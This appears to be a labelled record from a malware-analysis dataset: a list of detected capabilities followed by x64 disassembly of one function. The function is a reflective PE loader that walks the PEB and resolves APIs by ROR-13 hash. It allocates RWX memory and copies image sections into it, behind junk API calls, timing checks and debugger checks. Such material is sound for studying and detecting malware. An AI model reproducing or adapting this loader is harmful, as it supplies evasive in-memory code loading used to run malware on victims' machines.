Function at 0x18000323c
Capabilities:
Accept command line arguments
Access peb ldr_data
Allocate or change rwx memory
Allocate thread local storage
Check for time delay via gettickcount
Enumerate pe sections
Execute shellcode via indirect call
Parse pe header
Resolve function by hash
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rcx
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x180
movaps xmmword [r11 - 0x48], xmm6
movaps xmmword [r11 - 0x58], xmm7
movaps xmmword [r11 - 0x68], xmm8
movaps xmmword [r11 - 0x78], xmm9
movaps xmmword [r11 - 0x88], xmm10
movaps xmmword [r11 - 0x98], xmm11
movaps xmmword [r11 - 0xa8], xmm12
movaps xmmword [r11 - 0xb8], xmm13
movaps xmmword [r11 - 0xc8], xmm14
movaps xmmword [r11 - 0xd8], xmm15
mov r14, rcx
rdtscp
lea r8, [r11 + 0x10]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
cmp rax, 0x989680
jbe 0x1800032bc
mov ebx, 0x5364e1c
jmp 0x1800032e1
rdtscp
lea r8, [rsp + 0x1c8]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov rcx, rax
xor edx, edx
mov eax, 0x989680
div rcx
mov rbx, rax
rdtscp
lea r8, [rsp + 0x1c8]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov ecx, eax
imul r8, rcx, 0x3a9
movabs rax, 0x58ed2308158ed231
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 6
imul rax, rax, 0x5f
sub r8, rax
lea r13d, [r8 + 3]
mov dword [rsp + 0x1d0], r13d
movd xmm7, ebx
cvtdq2pd xmm7, xmm7
movsd qword [rsp + 0x20], xmm7
xor r15d, r15d
mov qword [rsp + 0x78], r15
mov qword [rsp + 0x80], r15
mov qword [rsp + 0xa0], r15
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x68], r15
mov qword [rsp + 0xb8], r15
mov qword [rsp + 0xa8], r15
xorps xmm9, xmm9
xorps xmm8, xmm8
movsd qword [rsp + 0xc0], xmm8
movsd xmm0, qword [0x180030f30]
movsd qword [rsp + 0xd8], xmm0
movsd xmm14, qword [0x180030c98]
movsd qword [rsp + 0x88], xmm14
movsd xmm1, qword [0x180030f70]
movsd qword [rsp + 0xb0], xmm1
call fcn.1800030f4
movaps xmm6, xmm0
xorps xmm0, xmm0
call fcn.1800030f4
addsd xmm0, xmm6
mulsd xmm0, xmm14
divsd xmm0, qword [0x180030cc8]
movsd qword [rsp + 0x28], xmm0
mov r14, qword [r14]
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x70], r14
mov edi, r13d
cmp ebx, r13d
cmovne edi, ebx
mov dword [rsp + 0x1c8], edi
lea r12d, [r15 + 1]
movaps xmm0, xmm8
call fcn.1800030f4
movaps xmm6, xmm0
movsd xmm0, qword [rsp + 0xd8]
call fcn.1800030f4
movaps xmm11, xmm0
addsd xmm11, xmm6
mulsd xmm11, xmm14
divsd xmm11, qword [0x180030cc8]
movsd qword [rsp + 0x28], xmm11
mov eax, 0x5a4d
cmp word [r14], ax
jne 0x18000345d
movsxd rcx, dword [r14 + 0x3c]
lea rax, [rcx - 0x40]
cmp rax, 0x3bf
ja 0x18000345d
cmp dword [rcx + r14], 0x4550
jne 0x18000345d
jmp 0x18000349c
sub r14, r12
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x70], r14
jmp 0x1800033fe
mov rsi, qword gs:[0x60]
mov qword [rsp + 0x90], rsi
mov ebx, edi
movsxd rax, r13d
mov qword [rsp + 0x58], rax
movsd xmm13, qword [0x180030e38]
cmp edi, r13d
jle 0x1800036b5
movsxd r14, edi
movsd xmm10, qword [0x180030e28]
movsd xmm12, qword [0x180030e10]
cmp r14, rax
jg 0x18000374a
comisd xmm7, xmm13
jbe 0x1800034f9
movaps xmm1, xmm9
divsd xmm1, xmm9
jmp 0x180003517
mov ecx, 0x5f
call fcn.180002bc4
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movaps xmm0, xmm13
divsd xmm0, xmm1
subsd xmm1, xmm0
movss xmm0, dword [0x180030f9c]
jmp 0x180003533
call fcn.180002e04
movsx ecx, al
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
cvtps2pd xmm1, xmm0
ucomisd xmm1, xmm10
jp 0x18000353c
je 0x180003521
movsd xmm0, qword [0x180030e60]
comisd xmm0, xmm1
jb 0x18000357d
mov ecx, 0x65
call fcn.180002bc4
movd xmm3, eax
cvtdq2ps xmm3, xmm3
movaps xmm2, xmm3
subss xmm2, dword [0x180031004]
movaps xmm0, xmm3
subss xmm0, xmm2
cvtps2pd xmm1, xmm0
divss xmm3, xmm2
cvtps2pd xmm7, xmm3
mulsd xmm7, xmm1
jmp 0x18000358b
call qword [sym.imp.USER32.dll_GetProcessWindowStation]
movsd xmm7, qword [0x180030f48]
movsd qword [rsp + 0x20], xmm7
comisd xmm7, xmmword [0x180030e70]
jbe 0x1800035df
mov ecx, 0x43
call fcn.180002fd8
movd xmm6, eax
cvtdq2pd xmm6, xmm6
movss xmm0, dword [0x180030fb8]
call fcn.180002e04
movsx rcx, al
xorps xmm7, xmm7
cvtsi2sd xmm7, rcx
movaps xmm0, xmm7
addsd xmm0, qword [0x180030d78]
mulsd xmm7, xmm6
subsd xmm7, xmm0
movsd qword [rsp + 0x20], xmm7
movsd xmm9, qword [0x180030d30]
movss xmm8, dword [0x180030fb0]
ucomisd xmm7, xmm10
jp 0x180003657
jne 0x180003657
movsd xmm6, qword [0x180030da0]
call qword [sym.imp.ole32.dll_CoUninitialize]
mulsd xmm6, xmm9
cvttsd2si rcx, xmm6
lea rax, [rcx + rcx]
xorps xmm9, xmm9
cvtsi2sd xmm9, rax
movaps xmm0, xmm8
subss xmm0, xmm8
movaps xmm8, xmm0
xorps xmm6, xmm6
cvtsi2sd xmm6, rcx
movaps xmm7, xmm6
divsd xmm7, xmm9
xorps xmm0, xmm0
cvtss2sd xmm0, xmm8
divsd xmm7, xmm0
movsd qword [rsp + 0x20], xmm7
ucomisd xmm7, xmm10
jp 0x180003657
je 0x180003602
comisd xmm12, xmm7
jbe 0x1800036a0
mov ecx, 0x37
call fcn.180002fd8
movsxd rdx, eax
lea rax, [rdx - 0x37]
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
movsx eax, dl
imul ecx, eax, 0x37
xorps xmm1, xmm1
cvtsi2ss xmm1, rdx
mulss xmm1, xmm0
movsx eax, cl
movd xmm0, eax
cvtdq2ps xmm0, xmm0
subss xmm1, xmm0
cvtps2pd xmm7, xmm1
movsd qword [rsp + 0x20], xmm7
add ebx, r12d
cmp ebx, r13d
xorps xmm9, xmm9
mov rax, qword [rsp + 0x58]
jg 0x1800034de
mov rcx, qword [rsp + 0x30]
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x60], eax
movsd xmm12, qword [0x180030d60]
movsd xmm9, qword [0x180030e08]
xorps xmm10, xmm10
movsd xmm8, qword [0x180030cf0]
xorps xmm14, xmm14
test rcx, rcx
je 0x18000431e
cmp edi, r13d
cmove edi, r13d
mov dword [rsp + 0x1d8], edi
mov r14d, edi
mov dword [rsp + 0x40], edi
mov r15, qword [rcx + 0x50]
mov qword [rsp + 0x38], r15
movzx ebx, word [rcx + 0x48]
mov qword [rsp + 0x98], rbx
mov word [rsp + 0x1c8], bx
xor esi, esi
mov qword [rsp + 0xd0], rsi
lea rcx, [r12 + rbx]
lea eax, [rsi + 8]
mul rcx
lea rcx, [rsi - 1]
cmovo rax, rcx
mov rcx, rax
call fcn.180009120
nop
jmp 0x1800037e4
mov rax, qword [rsi + 0x18]
mov qword [rsp + 0x90], rax
mov rcx, qword [rax + 0x20]
mov qword [rsp + 0x30], rcx
jmp 0x1800036ba
xor r10d, r10d
movsxd r11, edi
test bx, bx
je 0x180003b2a
rdtscp
lea r8, [rsp + 0x1c8]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
cmp rax, 0x989680
jbe 0x180003818
mov r9d, 0x362d6c3
jmp 0x18000383d
rdtscp
lea r8, [rsp + 0x1c8]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov rcx, rax
xor edx, edx
mov eax, 0x989680
div rcx
mov r9, rax
rdtscp
lea r8, [rsp + 0x1c8]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov ecx, eax
imul r8, rcx, 0x3159
movabs rax, 0x58ed2308158ed231
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 6
imul rax, rax, 0x5f
sub r8, rax
add r8d, 3
mov eax, r10d
cmp r9d, r8d
jle 0x180003890
mov eax, esi
ror eax, 0xd
mov esi, eax
cmp byte [r15], 0x61
jb 0x18000390b
lea eax, [rdi + 4]
movsxd rcx, eax
cmp rcx, qword [rsp + 0x58]
jle 0x1800039bb
movzx eax, byte [r15]
add rsi, 0xffffffffffffffe0
add rsi, rax
movsd qword [rsp + 0x20], xmm7
mov ebx, edi
cmp edi, r13d
jle 0x180003998
lea r14d, [rdi + rdi]
cmp r14d, r13d
jge 0x180003995
ucomisd xmm7, xmm9
jp 0x1800038e1
jne 0x1800038e1
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
call qword [sym.imp.ole32.dll_CoUninitialize]
xorps xmm7, xmm7
cvtsi2sd xmm7, r12
movsd qword [rsp + 0x20], xmm7
ucomisd xmm7, xmm9
jp 0x1800038fe
je 0x1800038e1
add ebx, r12d
cmp ebx, r13d
jg 0x1800038c9
jmp 0x180003998
mov ebx, edi
movsd qword [rsp + 0x20], xmm7
cmp edi, r13d
jle 0x1800038ba
movsd qword [rsp + 0x20], xmm7
cmp r11, qword [rsp + 0x58]
jg 0x18000398c
mov eax, 0x4a
jmp 0x180003942
movsxd rcx, eax
call fcn.180002fd8
movd xmm7, eax
cvtdq2pd xmm7, xmm7
movsd qword [rsp + 0x20], xmm7
comisd xmm12, xmm7
ja 0x18000392c
comisd xmm7, xmmword [0x180030e00]
jbe 0x180003979
call qword [sym.imp.USER32.dll_AnyPopup]
mov ecx, 0x33
call fcn.180002bc4
movsx eax, al
movd xmm7, eax
cvtdq2pd xmm7, xmm7
mulsd xmm7, xmm14
movsd qword [rsp + 0x20], xmm7
add ebx, r12d
cmp ebx, r13d
movsxd r11, edi
jg 0x18000391e
mov ebx, r14d
jmp 0x1800038c5
movzx eax, byte [r15]
add rsi, rax
jmp 0x180003984
add r15, r12
mov eax, 0xffff
add word [rsp + 0x98], ax
je 0x180003b2a
mov r14d, dword [rsp + 0x40]
xor r10d, r10d
movsxd r11, edi
jmp 0x1800037f3
movaps xmm8, xmm10
divss xmm8, xmm10
movss xmm9, dword [0x180030f58]
mov ebx, 0x46
mov r8b, 9
lea ecx, [rbx - 0x3d]
add ebx, ecx
mov cl, r8b
call fcn.180002eac
mov r8d, eax
movsx ecx, al
mov eax, ebx
cdq
idiv ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
ucomisd xmm0, qword [0x180030da0]
jp 0x1800039d8
jne 0x1800039d8
ucomisd xmm0, qword [0x180030d58]
jp 0x180003a1b
jne 0x180003a1b
mov cl, 0xc1
call fcn.180002eac
cdqe
dec rax
jmp 0x180003a47
call qword [sym.imp.USER32.dll_GetCapture]
mov edi, 0x1d
mov ecx, edi
call fcn.180002bc4
movsxd rbx, eax
mov ecx, edi
call fcn.180002fd8
movsxd rcx, eax
mov eax, edi
cqo
idiv rbx
sub rax, rcx
add rax, rbx
mov ebx, 0x69
lea edi, [rbx + 3]
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
jmp 0x180003a7c
call qword [sym.imp.USER32.dll_GetMenuCheckMarkDimensions]
imul ebx, edi
mov cl, bl
call fcn.180002eac
movsxd rdi, eax
movsxd rax, ebx
cqo
idiv rdi
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
comisd xmm13, xmm0
jae 0x180003a59
movss xmm7, dword [0x180030f64]
movss xmm6, dword [0x180031000]
call qword [sym.imp.USER32.dll_GetClipboardSequenceNumber]
mulss xmm6, xmm7
movaps xmm7, xmm6
movaps xmm0, xmm6
addss xmm0, xmm10
cvttss2si rax, xmm0
xorps xmm6, xmm6
cvtsi2ss xmm6, rax
movaps xmm1, xmm10
subss xmm1, xmm7
subss xmm1, xmm6
ucomiss xmm1, dword [0x180030fa4]
jp 0x180003acc
je 0x180003a93
movss xmm7, dword [0x180030f54]
movss xmm6, dword [0x180030fcc]
call qword [sym.imp.KERNEL32.dll_UnregisterApplicationRecoveryCallback]
divss xmm6, xmm7
cvttss2si rax, xmm6
movaps xmm7, xmm10
xorps xmm6, xmm6
cvtsi2ss xmm6, rax
movaps xmm0, xmm6
subss xmm0, xmm8
comiss xmm9, xmm0
ja 0x180003adc
mov cl, 0x1e
movsx eax, cl
movsx ecx, cl
imul ecx, eax
movsx eax, cl
movd xmm0, eax
cvtdq2pd xmm0, xmm0
comisd xmm0, xmmword [0x180030d98]
ja 0x180003b07
jmp 0x1800039cd
cmp esi, 0x6a4abc5b
jne 0x180004271
cmp edi, r13d
cmovl edi, r13d
mov rsi, qword [rsp + 0x30]
mov rsi, qword [rsi + 0x20]
mov qword [rsp + 0x90], rsi
movsxd rax, dword [rsi + 0x3c]
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
mov qword [rsp + 0x98], rax
mov r10d, dword [rax + 0x20]
add r10, rsi
mov qword [rsp + 0x1d8], r10
mov r11d, dword [rax + 0x24]
add r11, rsi
mov qword [rsp + 0x38], r11
mov ecx, 3
movzx ebx, cx
mov word [rsp + 0x1c8], cx
movsxd rcx, edi
xor r15d, r15d
mov r14d, dword [rsp + 0x60]
mov r8d, edi
cmp edi, r13d
jle 0x180003c70
lea r9d, [rdi + rdi]
cmp r9d, r13d
jge 0x180003c3d
mov edx, 0x31
movsd xmm2, qword [0x180030e68]
lea ecx, [rdx - 0x13]
movsd xmm1, qword [0x180030d40]
mov eax, edx
cdq
idiv ecx
mov edx, eax
subsd xmm1, xmm2
cvttsd2si ecx, xmm1
imul eax, eax
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movsx ecx, cl
movd xmm1, ecx
cvtdq2pd xmm1, xmm1
movaps xmm7, xmm1
divsd xmm7, xmm2
movd xmm0, edx
cvtdq2pd xmm0, xmm0
addsd xmm7, xmm0
movsd qword [rsp + 0x20], xmm7
ucomisd xmm7, qword [0x180030df0]
jp 0x180003c15
je 0x180003bcb
ucomisd xmm7, qword [0x180030ec8]
jp 0x180003c21
je 0x180003c2f
movsd xmm7, qword [0x180030f28]
movsd qword [rsp + 0x20], xmm7
add r8d, r12d
cmp r8d, r13d
jg 0x180003baa
jmp 0x180003c65
mov ecx, dword [r10]
add rcx, rsi
mov r14d, r15d
mov al, byte [rcx]
ror r14d, 0xd
movsx eax, al
add r14d, eax
add rcx, r12
mov al, byte [rcx]
test al, al
jne 0x180003c48
mov dword [rsp + 0x60], r14d
mov dword [rsp + 0x48], r14d
movsxd rcx, edi
mov rax, qword [rsp + 0x98]
cmp r14d, 0xec0e4e8e
je 0x180003c8f
cmp r14d, 0x7c0dfcaa
je 0x180003c8f
cmp r14d, 0x91afca54
jne 0x180003f0f
mov r9, qword [rsp + 0x58]
cmp rcx, r9
je 0x180003cb4
mov eax, dword [rax + 0x1c]
movzx ecx, word [r11]
add rax, rsi
lea r8, [rax + rcx*4]
mov qword [rsp + 0xc8], r8
movsxd rcx, edi
jmp 0x180003d30
movsd xmm2, qword [0x180030df8]
ucomisd xmm7, xmm8
jp 0x180003d28
jne 0x180003d28
mov ebx, 0x76
cvttsd2si ecx, xmm2
call fcn.180002bc4
movd xmm2, eax
cvtdq2pd xmm2, xmm2
lea eax, [rbx + rbx]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movaps xmm0, xmm1
divss xmm0, xmm1
cvttss2si eax, xmm0
movsx ebx, al
cvtps2pd xmm0, xmm1
movaps xmm7, xmm2
divsd xmm7, xmm0
movd xmm1, ebx
cvtdq2pd xmm1, xmm1
subsd xmm7, xmm1
movsd qword [rsp + 0x20], xmm7
ucomisd xmm7, xmm8
jp 0x180003d18
je 0x180003cca
movzx ebx, word [rsp + 0x1c8]
movsxd rcx, edi
mov r9, qword [rsp + 0x58]
mov r8, qword [rsp + 0xc8]
cmp r14d, 0xec0e4e8e
jne 0x180003d52
cmp rcx, r9
jle 0x180003ff8
mov eax, dword [r8]
add rax, rsi
mov qword [rsp + 0x78], rax
jmp 0x180003eef
cmp r14d, 0x7c0dfcaa
jne 0x180003d81
mov eax, edi
cdq
sub eax, edx
sar eax, 1
movsxd rcx, eax
cmp rcx, r9
jl 0x18000417a
mov eax, dword [r8]
add rax, rsi
mov qword [rsp + 0x80], rax
jmp 0x180003eef
cmp r14d, 0x91afca54
jne 0x180003eef
cmp rcx, r9
jle 0x180003da6
mov eax, dword [r8]
add rax, rsi
mov qword [rsp + 0xa0], rax
jmp 0x180003eef
movss xmm2, dword [0x180030f90]
ucomisd xmm7, xmm8
jp 0x180003db7
je 0x180003df3
movss xmm1, dword [0x180030fa0]
mulss xmm1, xmm2
cvttss2si ebx, xmm1
movsx rcx, bl
call fcn.180002fd8
movd xmm2, eax
cvtdq2ps xmm2, xmm2
movsx eax, bl
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movaps xmm0, xmm1
divss xmm0, xmm2
ucomiss xmm0, dword [0x180030f50]
jp 0x180003dbf
jne 0x180003dbf
movaps xmm3, xmm10
mov edx, 0x3f
movss xmm2, dword [0x180030fc8]
divss xmm2, xmm3
cvttss2si ecx, xmm2
lea eax, [rdx + rdx]
movd xmm3, eax
cvtdq2ps xmm3, xmm3
imul edx, edx
movd xmm2, edx
cvtdq2ps xmm2, xmm2
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
divss xmm0, xmm3
subss xmm0, xmm2
cvtps2pd xmm1, xmm0
comisd xmm1, xmmword [0x180030ed8]
ja 0x180003e04
movsd xmm0, qword [0x180030e90]
comisd xmm0, xmm1
jb 0x180003e58
call qword [sym.imp.KERNEL32.dll_GetThreadErrorMode]
movsd xmm1, qword [0x180030d70]
ucomisd xmm1, qword [0x180030d30]
jp 0x180003e7c
jne 0x180003e7c
mov cl, 0x62
call fcn.180002eac
mov ecx, eax
mov eax, 0x1d
cdq
idiv ecx
movsx ebx, al
add ebx, ecx
jmp 0x180003e94
mov cl, 0x62
call fcn.180002eac
mov ebx, eax
mov ecx, 0x1d
call fcn.180002bc4
movsx ecx, al
sub ebx, ecx
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
ucomisd xmm0, qword [0x180030e58]
jp 0x180003eba
jne 0x180003eba
call qword [sym.imp.KERNEL32.dll_FlushProcessWriteBuffers]
mov ecx, 0x98
call fcn.180002bc4
jmp 0x180003ec1
mov cl, 0x4c
call fcn.180002eac
movsd xmm7, qword [0x180030e98]
movaps xmm0, xmm7
divsd xmm0, xmm7
movaps xmm7, xmm0
movsd xmm0, qword [0x180030dc0]
comisd xmm0, xmm7
jae 0x180003ec9
movsd qword [rsp + 0x20], xmm7
movzx ebx, word [rsp + 0x1c8]
mov eax, 0xffff
add bx, ax
mov word [rsp + 0x1c8], bx
mov r10, qword [rsp + 0x1d8]
mov r11, qword [rsp + 0x38]
movsxd rcx, edi
cmp rcx, qword [rsp + 0x58]
jle 0x180003f30
add r10, 4
mov qword [rsp + 0x1d8], r10
add r11, 2
mov qword [rsp + 0x38], r11
jmp 0x180003fe2
ucomisd xmm7, xmm14
jp 0x180003f73
jne 0x180003f73
call qword [sym.imp.KERNEL32.dll_SwitchToThread]
movss xmm0, dword [0x180030f08]
call fcn.180002e04
movsx ecx, al
movd xmm6, ecx
cvtdq2ps xmm6, xmm6
movaps xmm0, xmm10
call fcn.180002e04
movsx ecx, al
movd xmm0, ecx
cvtdq2pd xmm0, xmm0
cvtps2pd xmm1, xmm6
addsd xmm1, xmm0
jmp 0x180003f9c
movaps xmm0, xmm10
call fcn.180002e04
movsx ecx, al
movd xmm6, ecx
cvtdq2ps xmm6, xmm6
xor ecx, ecx
call fcn.180002eac
movd xmm0, eax
cvtdq2pd xmm0, xmm0
cvtps2pd xmm1, xmm6
divsd xmm1, xmm0
comisd xmm1, xmmword [0x180030d48]
jb 0x180003fae
call qword [sym.imp.USER32.dll_GetShellWindow]
jmp 0x180003fb4
call qword [sym.imp.USER32.dll_GetCapture]
movss xmm0, dword [0x180030eec]
call fcn.180002e04
movsx ecx, al
movd xmm7, ecx
cvtdq2pd xmm7, xmm7
movsxd rcx, edi
mov r11, qword [rsp + 0x38]
mov r10, qword [rsp + 0x1d8]
movsd qword [rsp + 0x20], xmm7
test bx, bx
je 0x180004274
mov rax, qword [rsp + 0x98]
jmp 0x180003b9a
movsd xmm9, qword [0x180030d20]
movsd xmm12, qword [0x180030cc0]
movsd xmm11, qword [0x180030ed0]
movsd xmm10, qword [0x180030d38]
mov ebx, 0x15
jmp 0x18000403a
call qword [sym.imp.KERNEL32.dll_IsSystemResumeAutomatic]
mov ecx, ebx
call fcn.180002bc4
mov ebx, eax
movd xmm7, eax
cvtdq2pd xmm7, xmm7
ucomisd xmm7, xmm9
jp 0x180004043
je 0x180004023
movsd xmm8, qword [0x180030d00]
mov ebx, 0x3b
comisd xmm12, xmm7
jbe 0x1800040a0
movsd xmm6, qword [0x180030da8]
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
addsd xmm8, xmm6
mov ecx, ebx
call fcn.180002bc4
movd xmm7, eax
cvtdq2pd xmm7, xmm7
movaps xmm0, xmm8
mulsd xmm0, xmm8
cvttsd2si rbx, xmm0
xorps xmm6, xmm6
cvtsi2sd xmm6, rbx
divsd xmm7, xmm6
addsd xmm7, xmm8
comisd xmm12, xmm7
ja 0x180004060
mov cl, 0x2f
mov edx, 6
jmp 0x1800040c2
movsx eax, dl
movsx ecx, cl
imul ecx, eax
movsx eax, cl
add edx, eax
imul eax, edx
movd xmm7, eax
cvtdq2pd xmm7, xmm7
comisd xmm7, xmm11
ja 0x1800040a9
movss xmm6, dword [0x180030fc4]
ucomisd xmm7, xmm9
jp 0x180004120
jne 0x180004120
movss xmm8, dword [0x180030fe4]
call qword [sym.imp.USER32.dll_IsWow64Message]
divss xmm6, xmm8
cvttss2si ebx, xmm6
mov cl, bl
call fcn.180002eac
movd xmm6, eax
cvtdq2ps xmm6, xmm6
movsx eax, bl
movd xmm8, eax
cvtdq2ps xmm8, xmm8
movaps xmm0, xmm8
subss xmm0, xmm6
cvtps2pd xmm7, xmm0
ucomisd xmm7, xmm9
jp 0x180004120
je 0x1800040e3
comisd xmm10, xmm7
jb 0x18000414b
mov ebx, 0x2c
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov ecx, ebx
call fcn.180002bc4
movsx ebx, al
movd xmm7, ebx
cvtdq2pd xmm7, xmm7
comisd xmm10, xmm7
jae 0x18000412c
ucomisd xmm7, qword [0x180030d10]
jp 0x180004164
jne 0x180004164
movsd xmm7, qword [0x180030f18]
jmp 0x18000401c
mov cl, 0x63
call fcn.180002eac
movd xmm0, eax
cvtdq2ps xmm0, xmm0
cvtps2pd xmm7, xmm0
jmp 0x18000401c
movsd xmm12, qword [0x180030d20]
movsd xmm10, qword [0x180030e50]
movsd xmm9, qword [0x180030e80]
movsd xmm11, qword [0x180030ea0]
mov ebx, 0x31
jmp 0x1800041c0
mov cl, bl
call fcn.180002eac
imul rbx, rbx
movsx rax, al
imul rax, rbx
xorps xmm7, xmm7
cvtsi2sd xmm7, rax
comisd xmm10, xmm7
jae 0x1800041a5
mov cl, 0x36
jmp 0x1800041d8
add cl, cl
movsx eax, cl
movd xmm7, eax
cvtdq2pd xmm7, xmm7
comisd xmm7, xmm9
ja 0x1800041cb
movsd xmm8, qword [0x180030da8]
comisd xmm11, xmm7
jb 0x18000422d
movsd xmm0, qword [0x180030f00]
cvttsd2si eax, xmm0
movd xmm6, eax
cvtdq2pd xmm6, xmm6
subsd xmm8, xmm6
cvttsd2si rcx, xmm8
call fcn.180002fd8
movsx eax, al
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm0, xmm8
subsd xmm6, xmm0
comisd xmm11, xmm6
jae 0x1800041f7
mov ebx, 0x3a
call qword [sym.imp.USER32.dll_CreateMenu]
add rbx, rbx
xorps xmm7, xmm7
cvtsi2sd xmm7, rbx
comisd xmm12, xmm7
jae 0x180004232
ucomisd xmm7, qword [0x180030d10]
jp 0x18000419e
jne 0x18000419e
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
movsd xmm7, qword [0x180030fa8]
jmp 0x18000419e
xor r15d, r15d
cmp qword [rsp + 0x78], r15
je 0x1800043f2
cmp qword [rsp + 0x80], r15
je 0x1800043f2
cmp qword [rsp + 0xa0], r15
je 0x1800043f2
mov ebx, edi
cmp edi, r13d
jle 0x18000431e
movsxd rsi, edi
cmp rsi, qword [rsp + 0x58]
jne 0x18000431e
ucomisd xmm7, qword [0x180030eb0]
jp 0x1800042b8
je 0x1800042ef
call qword [sym.imp.USER32.dll_GetClipboardViewer]
movss xmm0, dword [0x180030fec]
call fcn.180002e04
movsx rcx, al
mov eax, 0x19
cqo
idiv rcx
mov ecx, 0x1b3
sub rcx, rax
xorps xmm7, xmm7
cvtsi2sd xmm7, rcx
movsd qword [rsp + 0x20], xmm7
ucomisd xmm7, qword [0x180030da8]
jp 0x1800042fb
je 0x180004316
mov ecx, 0x49
call fcn.180002fd8
movsxd rcx, eax
xorps xmm7, xmm7
cvtsi2sd xmm7, rcx
movsd qword [rsp + 0x20], xmm7
add ebx, r12d
cmp ebx, r13d
jg 0x1800042a5
mov ebx, r12d
movsd xmm10, qword [0x180030cb0]
movaps xmm1, xmm10
movsd xmm14, qword [rsp + 0x88]
movsd xmm13, qword [rsp + 0xc0]
subsd xmm1, qword [0x180030ca8]
mulsd xmm1, xmm14
addsd xmm1, xmm13
movaps xmm0, xmm1
call fcn.1800030f4
mulsd xmm0, qword [0x180030c90]
addsd xmm11, xmm0
add ebx, r12d
movd xmm1, ebx
cvtdq2pd xmm1, xmm1
movsd xmm0, qword [rsp + 0xb0]
comisd xmm0, xmm1
jae 0x180004342
movsd qword [rsp + 0x1c8], xmm11
mov eax, edi
cdq
sub eax, edx
sar eax, 1
cmp eax, r13d
cmovl edi, r13d
mov dword [rsp + 0x1d8], edi
mov rcx, qword [rsp + 0x50]
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp + 0x60], rax
mov ebx, dword [rax + 0x54]
mov qword [rsp + 0x30], rbx
mov rsi, rcx
mov qword [rsp + 0x38], rcx
mov edx, dword [rax + 0x50]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x90], rax
mov r14, rax
mov qword [rsp + 0x68], rax
jmp 0x180004462
mov rcx, qword [rsp + 0x30]
mov rcx, qword [rcx]
mov qword [rsp + 0x30], rcx
jmp 0x1800036e5
movsd qword [rsp + 0x28], xmm11
mov rax, rbx
sub rbx, r12
mov qword [rsp + 0x30], rbx
test rax, rax
je 0x180004526
lea eax, [rdi + 4]
cmp eax, r13d
cmovle edi, r13d
mov dword [rsp + 0x1d8], edi
movsd xmm0, qword [0x180030c88]
call fcn.1800030f4
mulsd xmm0, qword [0x180030c90]
addsd xmm11, xmm0
movsd qword [rsp + 0x28], xmm11
mov al, byte [rsi]
mov byte [r14], al
add r14, r12
mov qword [rsp + 0x68], r14
add rsi, r12
mov qword [rsp + 0x38], rsi
jmp 0x180004469
mov ebx, r12d
movsd xmm15, qword [0x180030f68]
movsd qword [rsp + 0xa0], xmm15
movaps xmm0, xmm10
movsd xmm9, qword [0x180030c80]
movsd xmm13, qword [rsp + 0xc0]
mulsd xmm0, xmm14
addsd xmm0, xmm13
call fcn.1800030f4
mulsd xmm0, xmm9
addsd xmm11, xmm0
add ebx, r12d
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
comisd xmm15, xmm0
jae 0x180004553
movsd qword [rsp + 0x28], xmm11
cmp edi, r13d
cmove edi, r13d
mov dword [rsp + 0x1d8], edi
movaps xmm0, xmm13
call fcn.1800030f4
movaps xmm6, xmm0
movsd xmm0, qword [rsp + 0xd8]
call fcn.1800030f4
movaps xmm8, xmm0
addsd xmm8, xmm6
mulsd xmm8, xmm14
divsd xmm8, qword [0x180030cd0]
movsd qword [rsp + 0x28], xmm8
mov rdx, qword [rsp + 0x60]
movzx eax, word [rdx + 0x14]
lea rcx, [rdx + 0x18]
add rcx, rax
mov qword [rsp + 0x30], rcx
movzx r8d, word [rdx + 6]
mov qword [rsp + 0xa8], r8
mov rdx, qword [rsp + 0x50]
jmp 0x18000466b
xor r9d, r9d
mov rax, r8
sub r8, r12
test rax, rax
je 0x1800046d2
lea eax, [rdi + 4]
cmp eax, r13d
cmovle edi, r13d
mov esi, dword [rcx + 0xc]
add rsi, r15
mov qword [rsp + 0x38], rsi
mov r14d, dword [rcx + 0x14]
add r14, rdx
mov qword [rsp + 0x68], r14
mov edx, dword [rcx + 0x10]
test rdx, rdx
je 0x1800046bc
mov al, byte [r14]
mov byte [rsi], al
add rsi, r12
add r14, r12
sub rdx, r12
jne 0x1800046a2
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x68], r14
sub rdx, r12
mov qword [rsp + 0xb8], rdx
add rcx, 0x28
mov rdx, qword [rsp + 0x50]
jmp 0x18000466e
mov qword [rsp + 0x30], rcx
mov r13d, r12d
movaps xmm1, xmm10
mov r15, qword [rsp + 0x80]
mov qword [rsp + 0x28], r15
mov rbx, qword [rsp + 0x78]
mov qword [rsp + 0x48], rbx
